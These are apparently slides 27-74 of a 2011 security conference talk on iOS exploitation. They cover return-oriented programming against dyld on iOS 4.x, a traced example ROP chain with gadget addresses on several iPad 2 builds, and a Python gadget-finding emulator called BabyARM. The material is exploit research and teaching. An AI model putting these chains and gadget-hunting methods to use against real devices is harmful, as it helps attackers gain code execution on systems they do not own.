  • 27. Dyld Binaries by iOS Version 4.0 4.0.1 4.0.2 4.1 4.2.1 4.2.6 4.2.7 4.2.8 4.2.9 4.2.10 4.3 4.3.1 4.3.2 4.3.3 4.3.4 4.3.5 iPod 2 iPod 3 colors show different dyld binaries iPod 4 13 different dyld binaries iPhone 3G iPhone 3GS iPhone 4 GSM iPhone 4 CDMA iPad 1 iPad 2 WIFI iPad 2 GSM iPad 2 CDMA Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  27
  • 28. Dyld Binaries by iOS Version - without ASLR 4.0 4.0.1 4.0.2 4.1 4.2.1 4.2.6 4.2.7 4.2.8 4.2.9 4.2.10 4.3 4.3.1 4.3.2 4.3.3 4.3.4 4.3.5 iPod 2 iPod 3 10 dyld binaries instead of iPod 4 33 different caches iPhone 3G iPhone 3GS iPhone 4 GSM iPhone 4 CDMA iPad 1 iPad 2 WIFI iPad 2 GSM iPad 2 CDMA Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  28
  • 29. Dyld Binaries by iOS Version - with ASLR 4.0 4.0.1 4.0.2 4.1 4.2.1 4.2.6 4.2.7 4.2.8 4.2.9 4.2.10 4.3 4.3.1 4.3.2 4.3.3 4.3.4 4.3.5 iPod 2 iPod 3 3 dyld binaries at 256 * 3 possible addresses iPod 4 instead of iPhone 48 different caches 3G at about 48 * 4200 possible addresses iPhone 3GS iPhone 4 GSM iPhone 4 CDMA iPad 1 iPad 2 WIFI iPad 2 GSM iPad 2 CDMA Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  29
  • 30. Cheating the Odds • Gadgets from dyld_shared_cache • 33 + 48 * 4200 = 201633 • Gadgets from dyld • 10 + 3 * 256 = 778 (bleeding edge app) • 10 + 3 = 13 (backwards compatible app) Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  30
  • 31. Cheating the Odds But can we get better? Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  31
  • 32. Part IV Multi Environment ROP Payloads Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  32
  • 33. What does this ROP payload do? 3017E288+1 +0 3020B6BE+1 +4 3017E288+1 +8 • what is the target environment? 3018DFC4+1 +12 301C8CDE+1 +16 • what will it do? 77777777 +20 301ACCAA+1 +24 41414141 +28 • is it a full payload or just a part of it? 77777777 +32 3017E286+1 +36 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  33
  • 34. One ROP Payload - Multiple Meanings iOS 4.3.5 - iPad 2 (CDMA) R0 R1 ??? ??? R8 R9 ??? ??? R2 ??? R10 ??? R3 ??? R11 ??? R4 ??? R12 ??? R5 ??? SP +4 R6 ??? LR ??? 3017E288+1 +0 R7 ??? PC 3017E288+1 3020B6BE+1 +4 __text:3017E288 STRB R5, [R6,#0x11] 3017E288+1 +8 __text:3017E28A LDR R1, [R5,#0x74] __text:3017E28C MULS R6, R5 3018DFC4+1 +12 __text:3017E28E LDR R7, [R5,#0x64] __text:3017E290 STR R4, [R6,#0x54] 301C8CDE+1 +16 __text:3017E292 STRB R0, [R7,#0x11] 77777777 +20 301ACCAA+1 +24 41414141 +28 77777777 +32 3017E286+1 +36 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  34
  • 35. One ROP Payload - Multiple Meanings iOS 4.3.5 - iPad 2 (CDMA) R0 R1 ??? ??? R8 R9 ??? ??? R2 ??? R10 ??? R3 ??? R11 ??? R4 ??? R12 ??? R5 ??? SP +4 R6 ??? LR ??? 3017E288+1 +0 R7 ??? PC 3017E288+1 3020B6BE+1 +4 __text:3017E288 STRB R5, [R6,#0x11] 3017E288+1 +8 __text:3017E28A LDR R1, [R5,#0x74] __text:3017E28C MULS R6, R5 3018DFC4+1 +12 __text:3017E28E LDR R7, [R5,#0x64] __text:3017E290 STR R4, [R6,#0x54] 301C8CDE+1 +16 __text:3017E292 STRB R0, [R7,#0x11] 77777777 +20 301ACCAA+1 +24 41414141 +28 most likely a crash because 77777777 +32 R6 is some “uninitialized“ pointer 3017E286+1 +36 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  35
  • 36. One ROP Payload - Multiple Meanings iOS 4.3.5 - iPad 2 (GSM) R0 R1 ??? ??? R8 R9 ??? ??? R2 ??? R10 ??? R3 ??? R11 ??? R4 ??? R12 ??? R5 ??? SP +4 R6 ??? LR ??? 3017E288+1 +0 R7 ??? PC 3017E288+1 3020B6BE+1 +4 __text:3017E288 MOVS R0, R0 3017E288+1 +8 __text:3017E28A MOVS R0, R0 ... 3018DFC4+1 +12 __text:3017EC72 MOVS R0, R0 __text:3017EC74 LDR R3, =(_OBJC_IVAR_...) 301C8CDE+1 +16 __text:3017EC76 ADD R3, PC __text:3017EC78 LDR R3, [R3] 77777777 +20 __text:3017EC7A LDR R0, [R0,R3] __text:3017EC7C BX LR 301ACCAA+1 +24 41414141 +28 77777777 +32 3017E286+1 +36 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  36
  • 37. One ROP Payload - Multiple Meanings iOS 4.3.5 - iPad 2 (GSM) R0 R1 ??? ??? R8 R9 ??? ??? R2 ??? R10 ??? R3 ??? R11 ??? R4 ??? R12 ??? R5 ??? SP +4 R6 ??? LR ??? 3017E288+1 +0 R7 ??? PC 3017E28A+1 3020B6BE+1 +4 __text:3017E288 MOVS R0, R0 3017E288+1 +8 __text:3017E28A MOVS R0, R0 ... 3018DFC4+1 +12 __text:3017EC72 MOVS R0, R0 __text:3017EC74 LDR R3, =(_OBJC_IVAR_...) 301C8CDE+1 +16 __text:3017EC76 ADD R3, PC __text:3017EC78 LDR R3, [R3] 77777777 +20 __text:3017EC7A LDR R0, [R0,R3] __text:3017EC7C BX LR 301ACCAA+1 +24 41414141 +28 77777777 +32 3017E286+1 +36 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  37
  • 38. One ROP Payload - Multiple Meanings iOS 4.3.5 - iPad 2 (GSM) R0 R1 ??? ??? R8 R9 ??? ??? R2 ??? R10 ??? R3 ??? R11 ??? R4 ??? R12 ??? R5 ??? SP +4 R6 ??? LR ??? 3017E288+1 +0 R7 ??? PC 3017EC72+1 3020B6BE+1 +4 __text:3017E288 MOVS R0, R0 3017E288+1 +8 __text:3017E28A MOVS R0, R0 ... 3018DFC4+1 +12 __text:3017EC72 MOVS R0, R0 __text:3017EC74 LDR R3, =(_OBJC_IVAR_...) 301C8CDE+1 +16 __text:3017EC76 ADD R3, PC __text:3017EC78 LDR R3, [R3] 77777777 +20 __text:3017EC7A LDR R0, [R0,R3] __text:3017EC7C BX LR 301ACCAA+1 +24 41414141 +28 77777777 +32 3017E286+1 +36 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  38
  • 39. One ROP Payload - Multiple Meanings iOS 4.3.5 - iPad 2 (GSM) R0 R1 ??? ??? R8 R9 ??? ??? R2 ??? R10 ??? R3 ??? R11 ??? R4 ??? R12 ??? R5 ??? SP +4 R6 ??? LR ??? 3017E288+1 +0 R7 ??? PC 3017EC74+1 3020B6BE+1 +4 __text:3017E288 MOVS R0, R0 3017E288+1 +8 __text:3017E28A MOVS R0, R0 ... 3018DFC4+1 +12 __text:3017EC72 MOVS R0, R0 __text:3017EC74 LDR R3, =(_OBJC_IVAR_...) 301C8CDE+1 +16 __text:3017EC76 ADD R3, PC __text:3017EC78 LDR R3, [R3] 77777777 +20 __text:3017EC7A LDR R0, [R0,R3] __text:3017EC7C BX LR 301ACCAA+1 +24 41414141 +28 77777777 +32 3017E286+1 +36 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  39
  • 40. One ROP Payload - Multiple Meanings iOS 4.3.5 - iPad 2 (GSM) R0 R1 ??? ??? R8 R9 ??? ??? R2 ??? R10 ??? R3 0DE9F426 R11 ??? R4 ??? R12 ??? R5 ??? SP +4 R6 ??? LR ??? 3017E288+1 +0 R7 ??? PC 3017EC76+1 3020B6BE+1 +4 __text:3017E288 MOVS R0, R0 3017E288+1 +8 __text:3017E28A MOVS R0, R0 ... 3018DFC4+1 +12 __text:3017EC72 MOVS R0, R0 __text:3017EC74 LDR R3, =(_OBJC_IVAR_...) 301C8CDE+1 +16 __text:3017EC76 ADD R3, PC __text:3017EC78 LDR R3, [R3] 77777777 +20 __text:3017EC7A LDR R0, [R0,R3] __text:3017EC7C BX LR 301ACCAA+1 +24 41414141 +28 77777777 +32 3017E286+1 +36 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  40
  • 41. One ROP Payload - Multiple Meanings iOS 4.3.5 - iPad 2 (GSM) R0 R1 ??? ??? R8 R9 ??? ??? R2 ??? R10 ??? R3 3E01E0A0 R11 ??? R4 ??? R12 ??? R5 ??? SP +4 R6 ??? LR ??? 3017E288+1 +0 R7 ??? PC 3017EC78+1 3020B6BE+1 +4 __text:3017E288 MOVS R0, R0 3017E288+1 +8 __text:3017E28A MOVS R0, R0 ... 3018DFC4+1 +12 __text:3017EC72 MOVS R0, R0 __text:3017EC74 LDR R3, =(_OBJC_IVAR_...) 301C8CDE+1 +16 __text:3017EC76 ADD R3, PC __text:3017EC78 LDR R3, [R3] 77777777 +20 __text:3017EC7A LDR R0, [R0,R3] __text:3017EC7C BX LR 301ACCAA+1 +24 41414141 +28 77777777 +32 3017E286+1 +36 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  41
  • 42. One ROP Payload - Multiple Meanings iOS 4.3.5 - iPad 2 (GSM) R0 R1 ??? ??? R8 R9 ??? ??? R2 ??? R10 ??? R3 00000018 R11 ??? R4 ??? R12 ??? R5 ??? SP +4 R6 ??? LR ??? 3017E288+1 +0 R7 ??? PC 3017EC7A+1 3020B6BE+1 +4 __text:3017E288 MOVS R0, R0 3017E288+1 +8 __text:3017E28A MOVS R0, R0 ... 3018DFC4+1 +12 __text:3017EC72 MOVS R0, R0 __text:3017EC74 LDR R3, =(_OBJC_IVAR_...) 301C8CDE+1 +16 __text:3017EC76 ADD R3, PC __text:3017EC78 LDR R3, [R3] 77777777 +20 __text:3017EC7A LDR R0, [R0,R3] __text:3017EC7C BX LR 301ACCAA+1 +24 41414141 +28 77777777 +32 3017E286+1 +36 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  42
  • 43. One ROP Payload - Multiple Meanings iOS 4.3.5 - iPad 2 (GSM) R0 R1 ??? ??? R8 R9 ??? ??? R2 ??? R10 ??? R3 00000018 R11 ??? R4 ??? R12 ??? R5 ??? SP +4 R6 ??? LR ??? 3017E288+1 +0 R7 ??? PC 3017EC7A+1 3020B6BE+1 +4 __text:3017E288 MOVS R0, R0 3017E288+1 +8 __text:3017E28A MOVS R0, R0 ... 3018DFC4+1 +12 __text:3017EC72 MOVS R0, R0 __text:3017EC74 LDR R3, =(_OBJC_IVAR_...) 301C8CDE+1 +16 __text:3017EC76 ADD R3, PC __text:3017EC78 LDR R3, [R3] 77777777 +20 __text:3017EC7A LDR R0, [R0,R3] __text:3017EC7C BX LR 301ACCAA+1 +24 41414141 +28 most likely a crash because 77777777 +32 R0 is some “uninitialized“ pointer 3017E286+1 +36 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  43
  • 44. One ROP Payload - Multiple Meanings iOS 4.3.5 - iPad 2 (Wifi) R0 R1 ??? ??? R8 R9 ??? ??? R2 ??? R10 ??? R3 ??? R11 ??? R4 ??? R12 ??? R5 ??? SP +4 R6 ??? LR ??? 3017E288+1 +0 R7 ??? PC 3017E288+1 3020B6BE+1 +4 __text:3017E288 POP {R4,R5,PC} 3017E288+1 +8 3018DFC4+1 +12 301C8CDE+1 +16 77777777 +20 301ACCAA+1 +24 41414141 +28 77777777 +32 3017E286+1 +36 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  44
  • 45. One ROP Payload - Multiple Meanings iOS 4.3.5 - iPad 2 (Wifi) R0 R1 ??? ??? R8 R9 ??? ??? R2 ??? R10 ??? R3 ??? R11 ??? R4 3020B6BE+1 R12 ??? R5 3017E288+1 SP +16 R6 ??? LR ??? 3017E288+1 +0 R7 ??? PC 3018DFC4+1 3020B6BE+1 +4 __text:3018DFC4 MOV R3, R4 3017E288+1 +8 __text:3018DFC6 BLX R5 3018DFC4+1 +12 301C8CDE+1 +16 77777777 +20 301ACCAA+1 +24 41414141 +28 77777777 +32 3017E286+1 +36 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  45
  • 46. One ROP Payload - Multiple Meanings iOS 4.3.5 - iPad 2 (Wifi) R0 R1 ??? ??? R8 R9 ??? ??? R2 ??? R10 ??? R3 3020B6BE+1 R11 ??? R4 3020B6BE+1 R12 ??? R5 3017E288+1 SP +16 R6 ??? LR ??? 3017E288+1 +0 R7 ??? PC 3018DFC6+1 3020B6BE+1 +4 __text:3018DFC4 MOV R3, R4 3017E288+1 +8 __text:3018DFC6 BLX R5 3018DFC4+1 +12 301C8CDE+1 +16 77777777 +20 301ACCAA+1 +24 41414141 +28 77777777 +32 3017E286+1 +36 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  46
  • 47. One ROP Payload - Multiple Meanings iOS 4.3.5 - iPad 2 (Wifi) R0 R1 ??? ??? R8 R9 ??? ??? R2 ??? R10 ??? R3 3020B6BE+1 R11 ??? R4 3020B6BE+1 R12 ??? R5 3017E288+1 SP +16 R6 ??? LR 3018DFC8+1 3017E288+1 +0 R7 ??? PC 3017E288+1 3020B6BE+1 +4 __text:3017E288 POP {R4,R5,PC} 3017E288+1 +8 3018DFC4+1 +12 301C8CDE+1 +16 77777777 +20 301ACCAA+1 +24 41414141 +28 77777777 +32 3017E286+1 +36 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  47
  • 48. One ROP Payload - Multiple Meanings iOS 4.3.5 - iPad 2 (Wifi) R0 R1 ??? ??? R8 R9 ??? ??? R2 ??? R10 ??? R3 3020B6BE+1 R11 ??? R4 301C8CDE+1 R12 ??? R5 77777777 SP +28 R6 ??? LR 3018DFC8+1 3017E288+1 +0 R7 ??? PC 301ACCAA+1 3020B6BE+1 +4 __text:301ACCAA MOV R2, SP 3017E288+1 +8 __text:301ACCAC BLX R3 3018DFC4+1 +12 301C8CDE+1 +16 77777777 +20 301ACCAA+1 +24 41414141 +28 77777777 +32 3017E286+1 +36 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  48
  • 49. One ROP Payload - Multiple Meanings iOS 4.3.5 - iPad 2 (Wifi) R0 R1 ??? ??? R8 R9 ??? ??? R2 +28 R10 ??? R3 3020B6BE+1 R11 ??? R4 301C8CDE+1 R12 ??? R5 77777777 SP +28 R6 ??? LR 3018DFC8+1 3017E288+1 +0 R7 ??? PC 301ACCAC+1 3020B6BE+1 +4 __text:301ACCAA MOV R2, SP 3017E288+1 +8 __text:301ACCAC BLX R3 3018DFC4+1 +12 301C8CDE+1 +16 77777777 +20 301ACCAA+1 +24 41414141 +28 77777777 +32 3017E286+1 +36 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  49
  • 50. One ROP Payload - Multiple Meanings iOS 4.3.5 - iPad 2 (Wifi) R0 R1 ??? ??? R8 R9 ??? ??? R2 +28 R10 ??? R3 3020B6BE+1 R11 ??? R4 301C8CDE+1 R12 ??? R5 77777777 SP +28 R6 ??? LR 301ACCAE+1 3017E288+1 +0 R7 ??? PC 3020B6BE+1 3020B6BE+1 +4 __text:3020B6BE BLX R4 3017E288+1 +8 __text:3020B6C0 POP {R4,R7,PC} 3018DFC4+1 +12 301C8CDE+1 +16 77777777 +20 301ACCAA+1 +24 41414141 +28 77777777 +32 3017E286+1 +36 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  50
  • 51. One ROP Payload - Multiple Meanings iOS 4.3.5 - iPad 2 (Wifi) R0 R1 ??? ??? R8 R9 ??? ??? R2 +28 R10 ??? R3 3020B6BE+1 R11 ??? R4 301C8CDE+1 R12 ??? R5 77777777 SP +28 R6 ??? LR 3020B6C0+1 3017E288+1 +0 R7 ??? PC 301C8CDE+1 3020B6BE+1 +4 __text:301C8CDE MOV R0, R2 3017E288+1 +8 __text:301C8CE0 BX LR 3018DFC4+1 +12 301C8CDE+1 +16 77777777 +20 301ACCAA+1 +24 41414141 +28 77777777 +32 3017E286+1 +36 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  51
  • 52. One ROP Payload - Multiple Meanings iOS 4.3.5 - iPad 2 (Wifi) R0 R1 +28 ??? R8 R9 ??? ??? R2 +28 R10 ??? R3 3020B6BE+1 R11 ??? R4 301C8CDE+1 R12 ??? R5 77777777 SP +28 R6 ??? LR 3020B6C0+1 3017E288+1 +0 R7 ??? PC 301C8CE0+1 3020B6BE+1 +4 __text:301C8CDE MOV R0, R2 3017E288+1 +8 __text:301C8CE0 BX LR 3018DFC4+1 +12 301C8CDE+1 +16 77777777 +20 301ACCAA+1 +24 41414141 +28 77777777 +32 3017E286+1 +36 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  52
  • 53. One ROP Payload - Multiple Meanings iOS 4.3.5 - iPad 2 (Wifi) R0 R1 +28 ??? R8 R9 ??? ??? R2 +28 R10 ??? R3 3020B6BE+1 R11 ??? R4 301C8CDE+1 R12 ??? R5 77777777 SP +28 R6 ??? LR 3020B6C0+1 3017E288+1 +0 R7 ??? PC 3020B6C0+1 3020B6BE+1 +4 __text:3020B6BE BLX R4 3017E288+1 +8 __text:3020B6C0 POP {R4,R7,PC} 3018DFC4+1 +12 301C8CDE+1 +16 77777777 +20 301ACCAA+1 +24 41414141 +28 77777777 +32 3017E286+1 +36 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  53
  • 54. One ROP Payload - Multiple Meanings iOS 4.3.5 - iPad 2 (Wifi) R0 R1 +28 ??? R8 R9 ??? ??? R2 +28 R10 ??? R3 3020B6BE+1 R11 ??? R4 41414141 R12 ??? R5 77777777 SP +40 R6 ??? LR 3020B6C0+1 3017E288+1 +0 R7 77777777 PC 3017E286+1 3020B6BE+1 +4 __text:3017E286 STR R0, [R4] 3017E288+1 +8 __text:3017E288 POP {R4,R5,PC} 3018DFC4+1 +12 301C8CDE+1 +16 77777777 +20 301ACCAA+1 +24 41414141 +28 77777777 +32 3017E286+1 +36 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  54
  • 55. One ROP Payload - Multiple Meanings iOS 4.3.5 - iPad 2 (Wifi) R0 R1 +28 ??? R8 R9 ??? ??? R2 +28 R10 ??? R3 3020B6BE+1 R11 ??? R4 41414141 R12 ??? R5 77777777 SP +40 R6 ??? LR 3020B6C0+1 3017E288+1 +0 R7 77777777 PC 3017E286+1 3020B6BE+1 +4 __text:3017E286 STR R0, [R4] 3017E288+1 +8 __text:3017E288 POP {R4,R5,PC} 3018DFC4+1 +12 301C8CDE+1 +16 77777777 +20 301ACCAA+1 +24 now the ROP payload has located itself by writing SP 41414141 +28 into an arbitrary memory cell 77777777 +32 3017E286+1 +36 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  55
  • 56. Multiple Environment ROP Payloads • normally a ROP payload is designed for only one environment • trying the address of one ROP gadget in multiple different environments • in each environment the address can resolve to • an illegal gadget (crash, endless loop) • a valid gadget • an identical gadget Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  56
  • 57. Multiple Environment ROP Payloads • illegal gadgets • leads to a crash = unusable • endless loop = might be even useful • identical gadgets • with enough environments even likey • but only for trivial gadgets Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  57
  • 58. Multiple Environment ROP Payloads • valid gadgets • valid gadget will do something non harmful • will load the program counter from the stack • and return / jump to it ➡ if program counter is retrieved from different locations we can use this to distinguish between environments GADGET 1 retrieves PC from SP=28 AND r3, r4 POP.W {r8, r10, r11, } POP {r4, r5, r6, r7, pc} GADGET 2 retrieves PC from SP=4 POP {r4, pc} Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  58
  • 59. Part V BabyARM - a basic ARM emulator Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  59
  • 60. BabyARM • very basic ARM (mostly thumb) code emulator • emulates only few instructions • but good enough to find gadgets by emulation • emulation runs from a initial gadget state to a desired gadget end state • implemented in Python Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  60
  • 61. BabyARM - Outer Loop Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  61
  • 62. BabyARM - Inner Loop Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  62
  • 63. BabyARM - State • BabyARM works with a state • state contains CPU state • states/values of registers R0-R15 • states/values of NCVZ flags • IT block information • CPU mode (arm vs. thumb) • and system state • error condition • stop condition Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  63
  • 64. BabyARM - Flag State • BabyARM emulates all four flags • Negative • Carry • oVerflow • Zero • flag state can be either • unknown - if in unknown/undefined state • value - if flag is known to be set or not set • flag value is either • set • unset Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  64
  • 65. BabyARM - Register States • BabyARM emulates registers R0-R15 • registers can be in different states • unknown - if in unknown/undefined state • value - if register has a known value • stackvalue - if register was popped from stack (user-defined) • spvalue - if register is derived from the stack pointer • pcvalue - if register is derived from the instruction pointer (not implemented) • pointer - if register is a pointer to memory (not implemented) Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  65
  • 66. BabyARM - Register Values • depending on register type its value means different things • unknown - value is ignored • value - value is the actual value of the register • stackvalue - value is the stack position the value was taken from • spvalue - is the actual stack pointer • pcvalue - an actual program counter value • pointer - an actual pointer into memory Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  66
  • 67. Why not base on IDA or BinNavi? • IDA and BinNavi can only disassemble code as either ARM or Thumb • we can jump into ARM and 32bit Thumb instructions or Thumb IT blocks • ex.: many ARM function epilogues are also thumb function epilogues ARM - Mode __text:2FE20AD8 LDMFD SP!, {R8,R10,R11} __text:2FE20ADC LDMFD SP!, {R4-R7,PC} THUMB - Mode __text:2FE20AD8 LSRS R0, R0, #0x14 __text:2FE20ADA POP.W {R4-R7,PC} __text:2FE20ADE POP.W {R0,R11} • Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  67
  • 68. Finding Gadgets • without additional properties of a crash the initial state is all unknown • we will find any gadget that pops the PC from stack and jumps to it GADGET FOUND AT 2fe01290 - PC at 28 GADGET FOUND AT 2fe013c8 - PC at 4 POP.W {r8, r10, r11, } POP {r7, pc} POP {r4, r5, r6, r7, pc} GADGET FOUND AT 2fe013f4 - PC at 0 GADGET FOUND AT 2fe016e6 - PC at 28 B 0000000a (10) AND r3, r4 POP {pc} POP.W {r8, r10, r11, } POP {r4, r5, r6, r7, pc} GADGET FOUND AT 2fe01400 - PC at 0 MOV r0, #0x0 GADGET FOUND AT 2fe01396 - PC at 4 POP {pc} POP {r4, pc} Address of gadget stack pointer the PC is taken from Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  68
  • 69. Finding Gadgets - Additional Restrictions • we can add additional restrictions like setting R4 to some value • and check if returned gadgets have moved the value into R0 • we will find any gadget that moves R4 into R0 GADGET FOUND AT 2fe01f88 - PC at 20 MOV r0, r4 GADGET FOUND AT 2fe0fe32 - PC at 28 LDR R8, [R13], #+0x4! MOV r6, r4 POP {r4, r5, r6, r7, pc} MOV r0, r6 POP.W {r8, r10, r11, } GADGET FOUND AT 2fe050fa - PC at 28 POP {r4, r5, r6, r7, pc} MOV r6, r4 B 00000014 (20) GADGET FOUND AT 2fe1d84e - PC at 24 MOV r0, r6 B -00004c8 (-1224) POP.W {r8, r10, r11, } MOV r0, r4 POP {r4, r5, r6, r7, pc} POP.W {r8, r10, } POP {r4, r5, r6, r7, pc} GADGET FOUND AT 2fe074ca - PC at 16 MOV r0, r4 POP {r4, r5, r6, r7, pc} Address of gadget stack pointer the PC is taken from Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  69
  • 70. Finding Gadgets - Free Branches • set all registers to state STACKVALUE in order to find more free branches • a gadget that returns the current stack pointer would be handy • just check if the gadget moved a SPVALUE into any of the registers GADGET FOUND AT 2fe03d7a - PC at 0 GADGET FOUND AT 2fe07ed4 - PC at 0 MOV r0, r6 B 000005c0 (1472) MOV r1, #0x1 MOV r1, #0x0 MOV r2, r13 MOV r0, r13 BLX r3 BLX r3 GADGET FOUND AT 2fe03d7c - PC at 0 GADGET FOUND AT 2fe08498 - PC at 0 MOV r1, #0x1 MOV r1, #0x0 MOV r2, r13 MOV r0, r13 BLX r3 BLX r3 GADGET FOUND AT 2fe03d7e - PC at 0 GADGET FOUND AT 2fe0849a - PC at 0 MOV r2, r13 MOV r0, r13 BLX r3 BLX r3 Address of gadget always 0 here because PS not taken from stack Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  70
  • 71. Part VI Improving our odds with BabyARM Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  71
  • 72. Using BabyARM on the dynamic linker • there are 13 dyld binaries and we group them in two groups dyld_2d2d2eb976d56a2b38fcd3f4c5d79511 # iOS 4.0 - 4.0.1 - ARM6 dyld_7974070f465bdfa83de9d63fc61849c9 # iOS 4.0 - 4.0.1 - ARM7 dyld_6e0da04bf361859a43e9438e707c55dd # iOS 4.0.2 - ARM6 dyld_0f16da1c3dbd38eae2e1dfd45a19b43e # iOS 4.0.2 - ARM7 dyld_b42ae5e64eb9ba2db9091086ae6e8499 # iOS 4.1 - ARM6 dyld_b203c4cdf84c8d5c132e69de677ad55d # iOS 4.1 - ARM7 dyld_c863ad572f68696252f71bbe70499dd4 # iOS 4.2.1 - ARM6 dyld_b0b68820c713d3d8f85b1ededf922be3 # iOS 4.2.1 - ARM7 dyld_62a459d3ca6789a3325fb0d33839120b # iOS 4.2.6 - 4.2.8 - ARM7 dyld_352edd3ede5b4deb9fcab1b4641317d2 # iOS 4.2.9 - 4.2.10 - ARM7 dyld_626a465cede176adc6691f7032f5dc9d # iOS 4.3 - 4.3.1 - ARM7 Two groups because of dyld_ebe640fee0e11c1ffafa4fd5fbb851e6 # iOS 4.3.2 - 4.3.3 - ARM7our experiments with BabyARM dyld_ae89d2d81035ba19ecd416986d569c87 # iOS 4.3.4 - 4.3.5 - ARM7 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  72
  • 73. Using BabyARM on the newer linkers (I) • we load the TEXT segments of the dyld binaries into memory • and let BabyARM find all possible gadgets • we then check if there is one gadget address in common among all binaries 2fe015e8 32 dyld_c863ad572f68696252f71bbe70499dd4 <- 4.2.1 - ARM6 ['MOV r0, #0x0', 'ADD SP, #0x4', 'POP {r2, r3, r4, }', 'MOV r8, r2', 'MOV r10, r3', 'MOV r11, r4', 'POP {r4, r5, r6, r7, pc}'] 2fe015e8 4 dyld_b0b68820c713d3d8f85b1ededf922be3 <- 4.2.1 - ARM7 2fe015e8 4 dyld_62a459d3ca6789a3325fb0d33839120b <- 4.2.6 - 4.2.8 - ARM7 2fe015e8 4 dyld_352edd3ede5b4deb9fcab1b4641317d2 <- 4.2.9 - 4.2.10 - ARM7 2fe015e8 4 dyld_626a465cede176adc6691f7032f5dc9d <- 4.3 - 4.3.1 - ARM7 2fe015e8 4 dyld_ebe640fee0e11c1ffafa4fd5fbb851e6 <- 4.3.2 - 4.3.3 - ARM7 2fe015e8 4 dyld_ae89d2d81035ba19ecd416986d569c87 <- 4.3.4 - 4.3.5 - ARM7 ['POP {r7, pc}'] Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  73
  • 74. Using BabyARM on the newer linkers (II) • the first gadget does only let us distinguish the first dyld binary • we retry this with the rest 2fe023e0 20 dyld_b0b68820c713d3d8f85b1ededf922be3 <- 4.2.1 - ARM7 2fe023e0 20 dyld_62a459d3ca6789a3325fb0d33839120b <- 4.2.6 - 4.2.8 - ARM7 2fe023e0 20 dyld_352edd3ede5b4deb9fcab1b4641317d2 <- 4.2.9 - 4.2.10 - ARM7 ['B 00000008 (8)', 'POP {r4, r5, r7, pc}'] 2fe023e0 24 dyld_626a465cede176adc6691f7032f5dc9d <- 4.3 - 4.3.1 - ARM7 2fe023e0 24 dyld_ebe640fee0e11c1ffafa4fd5fbb851e6 <- 4.3.2 - 4.3.3 - ARM7 2fe023e0 24 dyld_ae89d2d81035ba19ecd416986d569c87 <- 4.3.4 - 4.3.5 - ARM7 ['B 00000210 (528)', 'POP {r4, r5, r6, r7, pc}'] Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  74
